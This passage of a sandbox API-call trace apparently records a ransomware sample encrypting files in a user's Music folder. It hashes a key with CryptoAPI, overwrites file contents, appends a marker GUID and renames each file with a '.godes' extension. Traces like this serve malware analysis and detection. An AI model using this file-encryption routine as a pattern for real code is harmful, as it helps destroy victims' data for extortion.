lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.541] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.541] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.541] CloseHandle (hObject=0x624) returned 1 [0113.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.542] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y5PNwRSJ-BzEU_pWoMG7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y5pnwrsj-bzeu_pwomg7.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y5PNwRSJ-BzEU_pWoMG7.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y5pnwrsj-bzeu_pwomg7.wav.godes")) returned 1 [0113.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.542] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.543] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0113.543] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63f0c500, ftCreationTime.dwHighDateTime=0x1d4ccd9, ftLastAccessTime.dwLowDateTime=0x703657f0, ftLastAccessTime.dwHighDateTime=0x1d4d0d8, ftLastWriteTime.dwLowDateTime=0x703657f0, ftLastWriteTime.dwHighDateTime=0x1d4d0d8, nFileSizeHigh=0x0, nFileSizeLow=0x7e2b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zlWIzi2Amt.mp3", cAlternateFileName="ZLWIZI~1.MP3")) returned 1 [0113.543] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.544] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.544] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.544] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zlWIzi2Amt.mp3") returned=".mp3" [0113.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zlWIzi2Amt.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zlwizi2amt.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.544] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=32299) returned 1 [0113.544] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.546] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7e05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.546] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.547] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.547] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x7e2b, lpOverlapped=0x0) returned 1 [0113.548] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.548] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.548] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.548] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0113.549] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.549] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.549] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.549] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.549] GetLastError () returned 0x0 [0113.549] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.549] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0113.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7e30) returned 0x3321120 [0113.549] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.549] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x7e26, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x7e26, lpOverlapped=0x0) returned 1 [0113.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.549] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7e2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.550] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.550] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.550] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.550] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.550] CloseHandle (hObject=0x624) returned 1 [0113.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0113.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0113.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0113.551] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zlWIzi2Amt.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zlwizi2amt.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zlWIzi2Amt.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zlwizi2amt.mp3.godes")) returned 1 [0113.552] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.552] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.553] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.553] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63f0c500, ftCreationTime.dwHighDateTime=0x1d4ccd9, ftLastAccessTime.dwLowDateTime=0x703657f0, ftLastAccessTime.dwHighDateTime=0x1d4d0d8, ftLastWriteTime.dwLowDateTime=0x703657f0, ftLastWriteTime.dwHighDateTime=0x1d4d0d8, nFileSizeHigh=0x0, nFileSizeLow=0x7e2b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zlWIzi2Amt.mp3", cAlternateFileName="ZLWIZI~1.MP3")) returned 0 [0113.553] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.553] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0113.553] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd60 | out: hHeap=0x660000) returned 1 [0113.553] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.553] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.553] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.553] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.553] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.553] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 